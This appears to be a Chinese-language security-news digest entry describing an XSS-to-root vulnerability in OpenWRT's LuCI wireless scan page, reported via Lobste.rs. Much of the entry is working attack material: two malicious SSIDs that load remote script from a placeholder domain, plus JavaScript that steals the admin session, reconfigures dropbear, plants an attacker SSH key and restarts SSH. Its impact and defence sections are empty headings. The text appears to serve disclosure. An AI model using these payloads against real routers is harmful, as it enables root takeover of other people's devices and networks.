🔐 OpenWRT XSS to Root — CVE-2026-32721

安全漏洞CVSS 8.6

来源: Lobste.rs

📝 摘要

攻击者可以通过发送恶意WiFi SSID信标帧,在OpenWRT的LuCI管理界面中注入XSS代码。当管理员打开无线扫描页面时,恶意SSID会被直接插入到innerHTML中执行。攻击者利用这个漏洞可以获取管理员session,最终实现root shell远程访问。

🔍 技术细节

漏洞原理

OpenWRT的LuCI web界面包含一个无线扫描页面,显示附近可用的接入点及其SSID。问题出在wireless.js中 — SSID直接传入innerHTML,没有任何过滤。SSID最多可以包含32个任意字节,而HTML注入所需的所有字符都是可打印的ASCII,可以完整通过整个数据路径。

攻击条件

32字节限制突破

XSS payload受32字节SSID长度限制,<script>标签在innerHTML中不会执行。解决方案:使用两个AP同时广播:

SSID 1: <a id=s href=//domain/x.js>
SSID 2: <img src=x onerror=import(s)>

权限提升到Root

由于LuCI以完全管理员权限运行,注入的JavaScript获得路由器配置界面的完全控制权:

// 提取session ID
const sid = html.match(/sessionid['":\s]+([a-f0-9]{32})/)?.[1];

// 通过ubus API提权
await call('uci', 'set', { 
  config: 'dropbear', 
  section: '@dropbear[0]', 
  values: { Interface: '', GatewayPorts: 'on', PasswordAuth: 'on' } 
});

// 写入SSH公钥
await call('file', 'write', { 
  path: '/etc/dropbear/authorized_keys', 
  mode: 384, 
  data: 'ssh-ed25519 AAAA...\n' 
});

// 重启SSH服务
await call('service', 'restart', { name: 'dropbear' });

⚠️ 影响评估

💡 防御建议


🗓️ 探索时间: 2026-03-20 | 来源: Lobste.rs